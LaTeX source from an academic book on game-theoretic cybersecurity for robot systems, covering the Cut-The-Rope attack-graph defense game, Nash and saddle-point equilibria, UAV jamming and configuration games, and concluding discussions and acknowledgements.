\item The defender chooses a point in the attack graph to inspect, corresponding to a physical node (perhaps the same physical node for several nodes in the attack graph), i.e., monitor for suspicious activity, update or patch it, change credentials, \emph{etc}\xspace. Knowing how often the attacker is supposed to become active (the value $\lambda$), the defender can invoke a Poisson distribution to model the probabilistic depth of penetration into the system from the starting point. If knowledge of $\lambda$ is unrealistic, then alternatives are equally admissible, say, taking a {CVSS} or {RVSS} score to express the difficulty of mounting an attack or exploit, and by that knowledge, describing probabilistically how deep the intruder already has made it into the system.
Note that this particular game assumes the defender to become active in fixed intervals, like working days, or working shifts. These intervals determine the time unit relative to which the attacker's activity level $\lambda$ is measured. Generalizations to 24/7 security response teams are possible, yet not deeper discussed here.
\item The goals of the two players are, for the attacker, to hit the designated target node (here, machine 2), while it is the defender's aim to keep it away from machine 2 as good as it can. Note that the defender has no guarantee of ever being successful in really ``catching'' the intruder upon an inspection, and it may have quite good chances to miss it at all, if the adversary walks in along a different attack path, than the defender is currently checking.
This means that there are basically two possible outcomes upon a spot check, i.e., when the defender takes action in the game:
\begin{itemize}
\item it can, most likely unknowingly, clean a node from a backdoor that the adversary has previously left there. In that case, the attacker is sent back to an earlier node in the attack graph and needs to penetrate the node again that the defender has just cleaned or reconfigured. This effect gives the game it's name as ``\textsc{Cut-The-Rope}'', since the attacker's rope from the beginning down to the target has been ``cut'' by the defender.
\item it has checked a node that was completely outside the route that the adversary is on, or that may be on the attacker's route towards its goal, but it has not reached it yet. In both cases, the defense action remains without any effect for the defender, or the attacker (except for the adversary having accomplished another step towards the goal undisturbed.
\end{itemize}
The quantitative goal for both players is to maximize, respectively minimize, the chances for the intruder to hit its goal. The defender then needs to pick its actions so that the chances to hit machine 2 are minimized, while the attacker will pick its attack vectors towards maximizing the probability to hit its target.
\end{enumerate}
This is already a qualitative, yet informal, mathematical game played on an attack graph, where the action spaces for the attacker are the exploit nodes, and the action space for the defender is all nodes where a spot check, patch or reconfiguration is doable for a defense. It is an instance of a moving target defense, and implementable by very simple means; in the case of this particular game, the code is freely available from \citep{system_security_research_group_implementation_2019}.
The result of the computation, as for most game-theoretic models, is a threefold information:
\begin{itemize}
\item an optimal decision making scheme for the defender to act best against the opponent
\item a likewise optimal behavior for the attacker,
\item and an equilibrium payoff to both players, quantifying their revenue if the respective other player is taking its optimal actions.
\end{itemize}
We call a strategy profile that simultaneously optimizes the payoffs for all players, respecting mutual negative or positive correlations between their individual payoffs, an \emph{equilibrium}. For the game in Figure \ref{fig:cut-the-rope}, it comes as an optimal inspection schedule for the defender, \emph{i.e.}\xspace, prescribing the frequency and random choice of system components to patch, update and scan for malware. The second part of the equilibrium is a likewise optimal choice rule about attack paths for the adversary. We leave this information out here, but \emph{explicitly warn} about taking the attacker's optimal behavior as a guideline on where to defend! This seemingly natural use of the result is dangerous in light of there being other equally optimal ways for the attacker to win the game besides what the game computes, and hence a defense should generally not be built on a hypothetical model of where the attacker is expected to hit (not even if this information comes out of a game optimization). Essentially, it is thus best for the defender to implement the defense that the game computes as explicit equilibrium for the defender, but the likewise information for the attacker must be taken with care. The good news is that the equilibrium defense strategy will be optimal in any case of adversarial behavior, conditional on the attacker not coming up with unexpected attacks such as \emph{zero-day} exploits. Conditional on the attacker acting only \emph{within} its (modeled) attack set, there is no way of improving the defender's performance by any deviation motivated by what we think the attacker would do in the game.
For the example in Figure \ref{fig:cut-the-rope}, we find the optimal defense to be inspecting machine 2 continuously, eventually preventing a buffer overflow to occur locally (node 7 in the graph in Figure \ref{fig:cut-the-rope}). This is not surprising, given the fact that all attack paths eventually must traverse node 7, making it the most promising point to establish a defense. If a permanent fix to this node is possible, then the topology of the attack graph of course changes, either by adding new links and nodes, or by cutting the target node off so that the graph becomes disconnected. This practically optimal case can, however, hardly be expected to happen in reality. Still, since the attacker could have been active over the defender's capabilities, leaving a residual chance of hitting the target before the first inspection on the vulnerable node 7. Eventually, what the game analysis gives us, corresponding to the three result items mentioned above, is the following information \citep{rass_cut--rope_2019}:
\begin{itemize}
\item optimal defense: check machine 2 for buffer overflows, \emph{i.e.}\xspace, keep node 7 under protection in the attack graph.
\item optimal attack: take path \texttt{execute(0)} $\to$ \texttt{ftp\_rhosts(0,2)} $\to$ \texttt{rsh(0,2)}
$\to$ \texttt{full\_access(2)}. This path, coincidentally, corresponds to the shortest attack path in this instance of the game. It may alternatively also come up as the ``easiest'' path to penetrate according to {CVSS} or {RVSS} ratings, depending on how the game was defined.
\item equilibrium utility $U^*$: in the given setup, this is the probability (distribution) of the attacker location over the 10 possible positions in the attack graph, and we get numbers for these likelihoods from the equilibrium computation, being
\begin{equation}\label{eqn:cut-the-rope-example-equilibrium}
U^*\approx\left\{
\begin{array}{c|c}
\text{node} & \text{probability of the attacker being there} \\
\hline
1 & 0.573 \\
2 & 0\\
3 & 0\\
4 & 0\\
5 & 0\\
6 & 0.001 \\
7 & 0.111 \\
8 & 0.083 \\
9 & 0.228 \\
10 & 0.001\\
\end{array}\right.
\end{equation}
which is the expected effect of the defender's original duty, \emph{i.e.}\xspace, the adversary can get close to the part or machine represented by node $v_0$, but has only a very small
chance of conquering it.
\end{itemize}
Further aspects to include in the consideration relate to the possibility (and perhaps likely event) to see an optimized defense \emph{fail} from time to time. Intrinsic to the concept, with reasons exposed more visibly later, the defender may suffer a ``disappointment'' by missing the attacker although the game-theoretically best defense was implemented. Including the possibility of such events and minimizing the chances for a defense to fail at all is a more complex matter and theoretically challenging. We refer to the work of \citep{gul_theory_1991,chauveau_subjective_2012,wachter_disappointment-aversion_2018} for methods in this regard. Much easier to include are costs of changing configurations for security. While patching a node's software is typically part of the regular maintenance duties, a change of access credentials or changing a node's configuration is something with the risk of causing service disruptions, and hence often avoided. One can (and would need to) include such costs in the design of the respective utility functions, and generic methods to do so have been described by \cite{rass_cost_2017}.
\input{subsections/quanyan-game}
\chapter{Discussions and Conclusions}
Securing robot systems has its unique challenges, since their interaction with the world is virtual (related to information) and physical, which extends the usual threat landscape considerably. Consequently, the tools to address security need to meet the diversity of threats, and game theory, applied to security scoring systems, can provide a powerful mechanism to orchestrate and assemble security mechanisms that each cover their specific threat spectrum, but which only in totality can provide comprehensive protection.
The steps taken in this book are only preliminary and yet point out a gap between what theory can offer and what robot designers could use in the future. Since systems are heterogeneous and with components from many vendors combined, it can be tempting and easy to just delegate responsibility to somebody else. This is an issue on the organizational level, and risk management standards can be very helpful here to address issues of ownership, responsibility, and incident management. The complexity of bringing a development project into standard compliance is yet another motivation to employ optimization, such as game theory.
The complementation of technical security mechanisms by adequate organizational precautions pervasive throughout the whole robot life cycle is an issue that we only touched lightly here, but demanding more in-depth research in the future. The problem with robotic security may partly be attributed to the lack of responsibility assignment when it comes to an incident.
\subsubsection{Security and Performance Tradeoffs}
One important challenge to address with robotic security is to tradeoff between adding security and the performance requirements in the overall system. Real-time processes will need to account for it to To harden the security in robotic systems. For example, the real-time control loops can be subject to stochastic latency due to the addition of encryption and access control mechanisms. To cope with it, the robot will require additional computational resources. The off-the-self and traditional solutions would not work for all robots. It is essential to tailor the security solutions for different robot application domains and take into account the performance specifications. The security solutions for a teleoperated medical robot should be significantly different from the ones for a domestic cleaning robot. The security models and the threat consequences are drastically different in two cases.
There is a need to prioritize the security objectives and develop bespoke frameworks for the system-specific tradeoffs and designs. Such priorities can be added to a model as importance scores (see, e.g., \cite{rass_numerical_2014}), or with explicit rankings among the goals. One such extension towards the latter is lexicographic optimization as described in \citep{konnov_lexicographic_2003,zhu_security_2020}. Quantitative metrics and design methodologies play an important role to achieve these objectives. One important future direction is for robot designers to develop customized metrics and methodologies to understand the security-performance trade-offs and the design of optimal resource-constrained solutions. The specification of metrics and quantification of risks, thereby induces an operational difficulty perhaps, since engineers but also security specialists may find it difficult to quantify security for an optimization. Likewise difficult is the general specification of probability parameters as appear throughout the majority of stochastic models, not only to describe robot security.
Helping robot designers with security requires more than just proposing yet another security model, but also helps the practitioner to reason about how to instantiate the models for their use. Work in this direction is relatively scarce, but the problem of systematic parameter learning is addressable by machine learning techniques. See \cite{rass_refining_2019} for an example application in the context of critical infrastructures that are transferable to robots as infrastructures too, or \cite{josang_beta_2002} and \cite{rass_bayesian_2013} for online learning and reasoning about the trustworthiness of components in a joint system. Further help is offered by scoring systems like {RVSS}, as these provide a systematic tool to quantify security and, as \cite{konig_assessing_2018} describe, also get ideas about how to specify probabilities if a stochastic model or decision making requires them. This can be complemented by other than numeric quantification techniques, such as graphical risk specification as proposed by \cite{wachter_visual_2017}.
Security defense is often an add-on solution in today's robotic systems. Oftentimes, the security solutions are based on traditional and off-the-shelf solutions, e.g. cryptography, firewalls, and intrusion detection systems. Advanced defense strategies, such as cyber deception and moving target defenses, will require a careful evaluation of the threat models and additional system resources to enable such defenses. Without a deliberate built-in design, our robotic systems will always be in a vulnerable state as the attacker can eventually map out the system and launch successful attacks. Built-in defense mechanisms aim to outsmart and deter the attacker by leveraging the system resources to introduce uncertainties and make the attack more costly. Including uncertainty in optimization is its issue but doable with game models that adopt a more complex payoff modeling than crisp numbers. Specifically, it is possible to optimize actions for defense and resource investment when consequences are uncertain \citep{rass_defending_2017}, even in light of multiple conflicting goals \citep{rass_security_2018a}, interdependencies and network effects \citep{zhang_attack-aware_2016,chen_interdependent_2016,chen2017interdependent,chen2019game,miura2008security}.
\subsubsection{Security vs. Safety}
This book has discussed the cybersecurity frameworks and models for robotic systems. It is essential to distinguish security from safety and reliability, which have been relatively well studied in the robotics literature. The first key difference is that security is an issue strategically created by an adversary. The safety issues are often related to natural causes. Some of them can exceed expectations but they are not associated with objectives and malicious intentions. Often, we tackle the safety issues by specifying a tolerable set of uncertainties and design systems under the worst cases among these uncertainties. The attack is an outcome of the purposefully planned actions and the exploitation of the vulnerabilities. We need to understand the attack models through the objectives, the incentives, and the capabilities of an attacker when developing security solutions for robots.
Second, the impact of the damage created by an attacker may not directly observable at the physical layer at an early stage of the compromise. Safety often refers to the last-mile physical protection at the {OT}-level. It is often too late when the attacker succeeds in penetrating the cyber layers, controls the physical assets, and can manipulate them at his will. Security defense goes beyond the {OT} and protects the system at the {IT}-level. In this book, we have described the challenges and quantitative methods that can be used to address the {IT}-level security and its induced impact on the {OT}. Safety and security issues are not mutually exclusive. They can be treated together within a holistic framework that considers the cross-layer effects. Ensuring {IT}-level security is an important step toward improving the safety of the system, especially when major {OT}-safety concerns arise from {IT}-security.
\subsubsection{Emerging Attack Models and Defense Solutions}
This book has presented several attack models and solutions to counteract them. There are many emerging threats and advanced techniques that would be of interest to investigate. For example, adversarial machine learning is an increasingly important topic. Many robotic systems rely on learning models for pattern recognition, detection, and perception of the environment. An attacker can manipulate the input data and mislead the robot to erroneous learning results \citep{huang2019deceptive,zhang2018game,zhang2017game,zhang_game-theoretic_2017,joseph2018adversarial}. This attack can lead to misinformed decisions and control, which would result in catastrophic consequences. It is imperative to assess the trustworthiness of learning models and develop contingent solutions when the learning is not trusted.
New technologies in robotics also inspire new attack models. For example, cloud robotics is a new paradigm of robotic systems that integrate the technologies of cloud computing and storage into robotics \citep{kehoe2015survey}. It empowers the robots with the powerful computation, storage, and communication resources in the cloud and enables information sharing and communication among a group of robots and devices. However, the confidentiality and the integrity of the data communicated between the cloud and the robot can be compromised by an attacker. Furthermore, an attacker at the cloud can falsify the computations to mislead the robots or create a denial of service so that the robot does not have sufficient inputs to act in an unknown environment \citep{pawlick2015flip,xu2017secure,xu2015secure}.
New attack vectors and more sophisticated attackers would galvanize the defender to develop new defense solutions. One promising direction of cyber defense is the deception technology, which employs decoys (e.g., honeypots) or introduces uncertainties (e.g., moving target defense) to deceive, detect, and deter the attacker. Deception technologies provide a proactive way to defend against zero-day and advanced attacks and enable an automated way to respond in real-time to the threats. Design of deception techniques often relies on a clear understanding of the system tradeoffs involving resource constraints, security objectives, and attack models. Game theory has been used as a primary tool to address this tradeoff and develop an optimal cyber deception mechanism \citep{pawlickgame}. Interested readers can develop new security solutions for robots by making connections between these advanced cyber defense solutions with the new attack threats in robotics.
Beyond the technical solutions to security issues in robots, economic policies and tools can also be used to mitigate their adversarial impact on society. Cyber insurance is such a product that protects owners and users of the robots from cyberattack-induced damages. The coverage of cyber insurance allows the risks to be transferred and distributed fairly at the cost of premiums. Damages such as injuries, collisions, theft, and extortion can be possibly covered by the insurance. The premiums and the incentives of the insurance need to be carefully designed to reduce moral hazards and increase social welfare. Design methodologies of insurance design developed in \citep{zhang2017bi,bolot2009cyber,hayel2015attack,zhang2019flipin} can be applied and customized to different robotic applications in the future as an additional layer of risk protection.
\subsubsection{Bridging Game Theory and Practice}
Chapter \ref{sec:game-theory-intro} has provided an overview of the game-theoretic methods and their applications in cybersecurity and robotics. We have seen that game-theoretic frameworks can capture the defense mechanisms and the attack models. The games take different forms to describe the distinct features at a specific layer of the robotic system. The formulation of the game models builds on the system designer's knowledge and assumption about the attacker. The assumption of the attack model may not perfectly align with the practice. One important reason is that the designer and the attacker have asymmetric information about each other. Furthermore, the players may not act rationally even if the game is known to both. These questions are reasonable concerns when we apply the solutions from idealized game models. The idealized models provide a canonical form of descriptions. Many sophisticated methods can enrich these models to provide practical security solutions.
One method to enrich the baseline game models is reinforcement learning (RL). The defender can learn and react to the attacker's behaviors in real-time. The RL does not require the defender to know the games ahead of time but uses his observations to adapt his strategies without knowing the underlying model. In \cite{huang2019adaptive} has developed RL algorithms to assimilate the data collected by honeypots to create an attack model and learn about the attacker's intention and capabilities. \cite{zhu2013hybrid} and \cite{zhu2010heterogeneous} have also presented several RL mechanisms which are used to model different styles of learning in terms of rationality and the intelligence of the learner. They can be used to capture human factors such as constraints on cognition, perception, and reasoning.
RL techniques have also been used as part of the OT to control and monitor robots in real-time. The OT-level RL allows the robots to learn the cyber-induced changes in the physical systems and respond to them to achieve agility and resiliency (e.g. see \citep{zhu2012dynamic,
huang2020dynamic,zhu2011robust}). It is possible to compose the RL algorithms at IT and OT levels to achieve holistic security learning and monitoring of the robotic systems.
Besides RL, the baseline game models can be enriched by directly incorporating information incompleteness. In large-scale finite security games, it is not practical for the players to know every entry of the payoff matrix. The players can estimate the unknown payoffs by leveraging information from historical or real-time plays \citep{monga_solving_2016,pan2020masage,peng2020data}. For example, \cite{pan2020masage} has presented a gradient method to estimate the payoff matrices by finding the closest one to the game matrices played in the past. Incorporating uncertainties and bounded rationality into game models is a major step toward bridging game theory and practice. This cross-disciplinary approach will benefit from fruitful collaborations between game theorists, cybersecurity experts, and roboticists.
\chapter*{Acknowledgements}
The authors would like to thank the support that we receive from our institutions. We thank many of our friends and colleagues for their inputs and suggestions.
Stefan Rass, Bernhard Dieber and Víctor Mayoral Vilches thank Endika Gil Uriarte, Martin Pinzger, Nacim Ramdani, Alcino Cunha, Francisco Rodriguez Lera and Roberto Guzman
for invaluable discussions and suggestions on the DevOps and DevSecOps cycle in the robotics context, as outlined in this book.
Special thanks from Quanyan Zhu go to the members of the Laboratory of Agile and Resilient Complex Systems (LARX) at NYU, including Jeffrey Pawlick, Juntao Chen, Rui Zhang, Tao Zhang, Linan Huang, Yunhan Huang, and Guanze Peng. Their encouragement and support have provided an exciting intellectual environment for us where the major part of the work presented in this book was completed. Quanyan Zhu would like to acknowledge support from several funding agencies, including the National Science Foundation (NSF), Army Research Office (ARO), and the Critical Infrastructure Resilience Institute (CIRI) at the University of Illinois at Urbana-Champaign for making this book possible.
Materials in this book were in part first presented at the Workshop on Security and Privacy in Robotics at International Conference on Robotics and Automation (ICRA), held virtually from May 31 -- June 4, 2020. We are grateful to the ICRA conference organizers who have made this workshop possible despite the difficult times of the pandemics. We appreciate the speakers and the audience who made this workshop possible.
Interested readers can refer to \cite{icraworkshop} for materials from the presentations and the panel discussion.
\bibliographystyle{abbrv}
\section{Introduction to Security Games and Strategic Defenses}\label{gamemodels}
We have seen in recent years that attackers are becoming increasingly sophisticated and intelligent. Traditional security solutions that rely on cryptography, firewalls, and intrusion detection systems are \emph{necessary} (cf. Section \ref{sec:securing-the-api}) but not \emph{sufficient} to guarantee the security of the robots. There are many ways that an attacker can circumvent these technologies and gain access to the targeted systems. The design objective of perfect security is not possible as the system designers are always constrained by resources. The attack graph from Section \ref{sec:cut-the-rope} is one step towards this: instead of aiming for perfect security, one reasonable security solution is to understand the specific system features and their objectives and take into account the strategic behaviors of the attacks and the constraints on the attack-and-defense resources. In robotic systems, the consequences of a compromised system differ depending on the domain of the applications. For example, a service robot that interacts with humans, e.g., self-driving cars and autonomous vehicles, can be turned into a deadly weapon that hurts human users. Manufacturing robots on assembly lines can break down and cause a significant economic loss due to reduced production. Hence understanding and quantifying the system-specific objectives and the available resource is key to developing an effective defense mechanism against attackers.
To this end, game theory provides a modeling and reasoning framework for the design of effective security solutions \citep{manshaei2013game}. First, game-theoretic models can capture the competitive and strategic behaviors of the players and their constraints. Second, there are a rich set of game-theoretic algorithms and tools that enable the prediction of the outcomes through the analysis and the computation of the equilibrium. Third, game models provide ways to incorporate human factors, including bounded rationality, cognitive biases, and human perception. Fourth, game models can take different forms at multiple layers of the system and for various attack models. They can be composed and integrated to create a game of games to provide a holistic view of the security issues across the layers of the system and enable a design of system-wide security solutions. Game theory has been used in a wide variety of cybersecurity contexts. A few application areas include intrusion detection systems \citep{zhu2011indices,zhu2010network,zhu2009dynamic}, adversarial machine learning \citep{zhang2015secure,pawlick_stackelberg_2016,zhang2016dynamic,zhang_game-theoretic_2017,zhang2018gameML}, proactive and adaptive defense \citep{van2013flipit,farhang2014dynamic,clark2012deceptive,zhu2011distributed,zhu2010heterogeneous,zhu2010no,huang2010distributed}, cyber deception \citep{zhu2012dynamic,zhang2019game,Huang2019,pawlick2018modeling,Pawlick2018Dissertation,pawlick2017game}, communications channel jamming \citep{basar1983gaussian,zhu2011eavesdropping,zhu2010stochastic,xu_game-theoretic_2017,zhu2011dynamic,zhu2013game}, secure industrial control systems \citep{miao2014moving,zhu2015game,zhu2012dynamic,alpcan2004game} and critical infrastructure security and resilience \citep{rass_gadapt:_2016,chen_interdependent_2016-1,huang2019adaptive,chen_interdependent_2016,huang2018analysis,huang2017large,huang2018distributed}.
\subsection{Models and Security Games}\label{sec:game-theory-definitions}
Let us reconsider the intuitive description of games laid out in Section \ref{sec:game-theory-intro}, in more rigorous and general terms:
A normal form game of complete information is defined by three elements. The
first one is the set of players, denoted by $\mathcal{N}$. In security games,
there are often two players in the game. One is the attacker $A$. The other
one is the defender $D$. The second element is the action set of the players,
denoted by $\mathcal{A}_i, i\in\mathcal{N}$. The action set captures the
feasible actions that are available to the players. It can naturally
incorporate the system and knowledge constraints of the players, and the
rules of the games. The third element is the preference or the payoffs of the
players $U_i, i\in \mathcal{N}$, which depends on the actions played by all
players, $\{a_i, i\in\mathcal{N}\}$, known as the action profile. Each player
chooses to play the action that maximizes his payoff. We are interested in
the outcome of this game when the players have complete information of this
game and choose action $a_i \in \mathcal{A}_i$ to maximize their own payoff.
The normal-form game of two players with finite actions, say the row player
$A$ and the column player $D$, can be represented by a matrix. Each row $k
\in\{1, 2, \ldots, n\}$ corresponds to an action in the action set of player
$A$; each column $l \in \{1, 2, \ldots, m\}$ corresponds to an action in the
action set of player $D$. Matrices $F, G \in \mathds{R}^{n\times m}$ are the
payoff matrices for players $A, D$, respectively. Entries $F_{kl}, G_{kl}$
represent the payoff to players $A, D$, respectively, when actions that
correspond to $k$-th row and $l$-th column are played.
This outcome is predicted by the solution concept called Nash equilibrium. An action profile $\{a_i^*\in\mathcal{A}_i, i\in\mathcal{N}\}$ constitutes a (pure-strategy) Nash equilibrium when no player can deviate from it unilaterally; in other words,
$$
U_i(a^*_i, a^*_{-i}) \geq U_i(a_i, a^*_{-i}),
$$
for all $a_i\in \mathcal{A}_i, i\in\mathcal{N}$. Here, $a^*_{-i}$ is the set of all equilibrium actions $\{a^*_i, i\in\mathcal{N}\}$ excluding the equilibrium action of player $i$, i.e., $a_i^*$. The Nash equilibrium of an $N$-person game defined by the triplet $\left(\mathcal{N}, \{\mathcal{A}_i\}_ {i\in\mathcal{N}}, \{U_i\}_ {i\in\mathcal{N}} \right)$ may not exist. However, the existence issue is resolved when we extend the strategy space to mixed strategies, which are essentially \emph{probability distributions} over the action spaces that describe \emph{random choice rules} for taking actions in the game: Let $x_i, i\in\mathcal{N},$ be the mixed strategies of player $i$. Its $j$-th component $x_i(a_j)$ can be interpreted as the probability of player $i$ choosing action $a_j$ from the discrete action set $\mathcal{A}_i$. It is clear that $x_i(a_j)$ is nonnegative and $\sum_{a_j\in\mathcal{A}_i} x_i(a_j) =1$. Under the mixed strategy profile $\{x_i, i\in\mathcal{N}\}$, the payoff received by the player is the average payoff $\bar{U}_i(x_i, x_{-i})$, which is merely a weighted sum using the payoffs from the actions, multiplied with their corresponding probabilities from the mixed strategy. In the case of two-player games, let $x_1, x_2$ be the mixed strategies represented as a finite-dimensional vectors (of appropriate dimension) of the row player and the column player, respectively. The $k$-th component of $x_1$ and the $l$-th component of $x_2$ correspond to the probabilities of the row player (resp. column player) choosing actions associated with $k$-th row (resp. $l$-th column). The average payoff to the row player is given by $\bar{U}_1=x_1^TFx_2$; the average payoff to the column player is given by $\bar{U}_2=x_1^TGx_2$.
The mixed-strategy Nash equilibrium can be defined in a similar way as the pure-strategy Nash equilibrium. The mixed-strategy profile $\{x_i^*, i\in\mathcal{N}\}$ constitutes a mixed-strategy Nash equilibrium if for all admissible mixed strategy $x_i, i\in\mathcal{N}$,
$$
\bar{U}_i(x^*_i, x^*_{-i}) \geq \bar{U}_i(x_i, x^*_{-i}).
$$
It has been known that there exists a mixed-strategy Nash equilibrium for every finite normal-form game \citep{basar1999dynamic,nash1950equilibrium}.
Zero-sum games are a special class of games that are often used to model strictly competitive behaviors between two players. One player's gain is the other player's loss. In other words, let $U_1(a_1, a_2)=-U_2(a_1, a_2)= U(a_1, a_2)$. Player 1's objective is to maximize the payoff $U$ while Player 2's objective is to minimize it. The roles of who maximizes and who minimizes can, however, be freely exchanged, and the game \textsc{Cut-The-Rope} is an example where the defender is a minimizer: indeed, the defender's payoff in Section \ref{sec:cut-the-rope} is simply the probability for the attacker to hit the vital target asset, which naturally should be small if the defense is good. In turn, the attacker obviously seeks to maximize this probability, and we have a zero-sum competition here.
The solution concept of zero-sum games is \emph{saddle-point equilibrium}: this is a joint strategy $(a_1^*, a_2^*)$ if for all $a_1\in\mathcal{A}_1$ and $a_2\in\mathcal{A}_2$,
$U(a_1, a_2^*) \leq U(a_1^*, a_2^*) \leq U(a_1^*, a_2)$, and called \emph{pure} if the strategies $a_1^*, a_2^*$ are pure. A two-person zero-sum game can be represented by one matrix $H$. Row $i$ of the matrix corresponds to the $i$-th action of the row player, say the defender. Column $j$ of the matrix corresponds to the $j$-th action of the column player, say the attacker. The entry of the matrix $H_{ij}$ is the payoff to the defender, i.e., the loss to the attacker when the defender plays the $i$-th action and the attacker plays the $j$-th action. Let $x_1$ and $x_2$ be the mixed strategies of the players. The average payoff or loss to player 1 or player 2, respectively, is given by
$\bar{U}(x_1, x_2) = x_1^THx_2$. Here, $x_1, x_2$, and $H$ are vectors and matrix of appropriate dimensions. A mixed strategy $(x_1^*, x_2^*)$ is a mixed-strategy saddle-point equilibrium if for all admissible $x_1, x_2$,
$\bar{U}(x_1, x_2^*) \leq \bar{U}(x_1^*, x_2^*) \leq \bar{U}(x_1^*, x_2)$. The value $\bar{U}$ achieved under the equilibrium profile is called the \emph{value} of the game.
Returning to \textsc{Cut-The-Rope} (Section \ref{sec:cut-the-rope}) again for illustration, the value would be the last number $v=0.001$ in \eqref{eqn:cut-the-rope-example-equilibrium}, since the game is primarily about minimizing the attacker's chances to hit its target. Any deviation towards a different defense than prescribed by the game would just increase the success chances for the adversary to more than $0.001$. This is important for the defender to bear in mind, since an attempt to further decrease the protection in other places may open the door wider for the attacker: for example, if the defender is okay with the probability of $0.001$ for the attacker to hit node 10, but then strives to decrease the -- seemingly high -- probability of $0.228$ for the attacker to be at node 9 instead, any change in the defense strategy for the sake of lowering the number $0.228$ would imply an increase of the attacker's chance to hit node 10 perhaps on other ways, say, bypassing node 9 at all! This effect is due to the equilibrium property formalized above.
One important property of saddle-point equilibrium is the exchangeability; i.e., when $(x_1^*, x_2^*)$ and $(x_1^\circ, x_2^\circ)$ are two distinct saddle-point equilibria of the zero-sum game, then $(x_1^*, x_2^\circ)$ and $(x_1^\circ, x_2^*)$ are also saddle-point equilibria of the game and yield the same game value. This is the theoretical reason why it is safe for the defender to use \emph{any} of the existing equilibria for its defensive purpose, but at the same time dangerous to rely on the adversary's equilibrium as a hint on where to defend: the exchangeability property lets the adversary pick any of (perhaps many) optimal attack strategies to gain the best possible success rates, which can easily annihilate the defender's precautions if they were based on the attacker's equilibrium behavior instead of the (better) defender's equilibrium strategies.
\subsection{Structural and Operational Security}\label{sec:example-games}
Zero-sum games are useful to capture many security scenarios. For example, a jamming game between a team of {UAV} and a jammer has been investigated in \cite{chen-TCNS-19-games}. Illustrated in Fig. \ref{team}, a team of {UAV} is controlled to maximize the connectivity among themselves in an adversarial environment where an attacker can choose a subset of communication links to jam. The game between the operator of the team and the attacker is described by the zero-sum game at time $k$:
\begin{equation}\label{maxminproblem}
\max_{x(k+c)}\min_{e\in \mathcal{E}} \lambda_2(e; x(k + c)).
\end{equation}
Here, $x(k)$ is the position of the {UAV} at time $k$. Two {UAV} can form a link when they are sufficiently close within
a desirable range of communications. The connectivity of the {UAV} team is described by the algebraic connectivity of the network, denoted by $\lambda_2$ (i.e., the second-smallest eigenvalue of the associated Laplacian matrix). When $\lambda_2$ is zero, the network has disjoint partitions. Otherwise, the network is connected, i.e., there exists a path from one node to any node in the network. A higher value of $\lambda_2$ indicates that there are a larger number of paths on average that connect between two arbitrary nodes in this network. At each time
step $k$, the operator determines where the agents should move to in the next time step
$x(k + c)$, where $c$ is a time interval. The control is constrained by the physical dynamics
of {UAV}. The attacker can jam a subset of links from all the communication links of the team, denoted by $\mathcal{E}$. The attacker's capability is described by the number of links that he can jam at time $k$. This zero-sum security game can be played repeatedly at every time step $k$.
\begin{figure}[t]
\centering
\includegraphics[scale=0.5]{figures/team.png}
\caption{A team of {UAV} collaborate on a mission. They can communication with each other when one is in the range of communication of the other. An attacker can jam the signals between two {UAV}.} \label{team}
\end{figure}
In transportation networks, the class of interdiction games is similar to the jamming games in communications. One player (e.g., an attacker) aims to remove the links of a network to minimize the throughput or disrupt the operation of the infrastructure subject to resource constraints. In other words, the attacker's capability is assumed to be bounded and he can only remove a small subset of links in the network. The other player (e.g., planner or defender) aims to design a robust network and invest resources to protect against the attacks on the network and maintain the service of the infrastructure. This type of games has been commonly used in scenarios of the infrastructure protections \citep{chen2019dynamic,huang2017large,chen2019game}, multi-agent robotic systems \citep{nugraha2020dynamic,chen-CDC-16,chen-TCNS-19-games}, and {IoT} networks \citep{chen2017heterogeneous,Chen2019optimal}
Another example of security game is the system configuration game \citep{zhu2011indices,zhu2009dynamic,zhu2010network}. In this game, we consider one system defender and one attacker as two players. The system defender configures its network and {IoT} in Fig. \ref{fig:cut-the-rope}
by choosing the setting of the software, security rules/policies, and network topologies. Each system configuration inevitably has known or zero-day vulnerabilities. An attacker aims to find the vulnerabilities of the entry-point system and exploit them to penetrate and infect further parts of the system. Let $\mathcal{C}= \{c_1, c_2, \cdots, c_m\} $ be the set of configuration that the system can choose from. Let $\mathcal{V}$ be the set of vulnerabilities that the system can have. Each configuration is associated with a subset of vulnerabilities of $\mathcal{V}$. We let $\pi: \mathcal{C}\rightarrow 2^\mathcal{V}$ be the point-to-set mapping between configurations and the subsets of vulnerabilities; $\pi(c),\subseteq \mathcal{V}, c\in \mathcal{C},$ is called the attack surface when the system is configured to $c$. An attacker can choose an attack that exploits several vulnerabilities of the system. Let $\mathcal{A}=\{a_1, a_2, \cdots, a_n\}$ be the set of attack actions. Let $\gamma: \mathcal{A}\rightarrow 2^\mathcal{V}$ be the point-to-set mapping between attack actions and the subset of vulnerabilities; $\gamma(a) \subseteq \mathcal{V}, a\in\mathcal{A},$ is the set of vulnerabilities exploited by the attack action $a\in\mathcal{A}$. When one of the vulnerabilities exploited by the attacker is in the attack surface under configuration $c$, then the attacker is successful and receives a reward. More formally, when $\gamma(a) \cap \pi(c) \neq \emptyset$, the reward to the attacker, which is also the loss to the defender, is given by $R(\gamma(a) \cap \pi(c))$, where $R$ is a set-valued function that quantifies the impact of the successfully exploited vulnerabilities. This configuration game is a normal-form zero-sum game. An example of this game is represented by the following matrix:
\begin{center}
{H:}
\begin{tabular}{ l | c | c | c | c }
& $c_1$ & $c_2$ & $c_3$ & $c_3$ \\ \hline
$a_1$ & $h_{11}$ & $h_{12}$ & $ h_{13}$ & $h_{14}$ \\ \hline
$a_2$ & $h_{21}$ & $h_{22}$ & $ h_{23}$ & $h_{24}$ \\
\hline
\end{tabular}
\end{center}
Here, the row player is the attacker with $2$ attack actions. The column player is the defender with $4$ configurations. The reward/loss to the players are described by the matrix entries $h_{ij}, i \in \{1,2\}, j \in\{1, 2, 3, 4\},$ which are the rewards to the attacker when he uses $a_i$ to attack and the defender uses configures the system at $c_j$. The defender can relies on this model and assesses his best-effort worst-case security. The saddle-point equilibrium of this game yields a game value that quantifies the level of the security under the best-effort of the defender. It also leads an insight for the defender on how to choose a secure configuration to safeguard the system for a prescribed attack model.
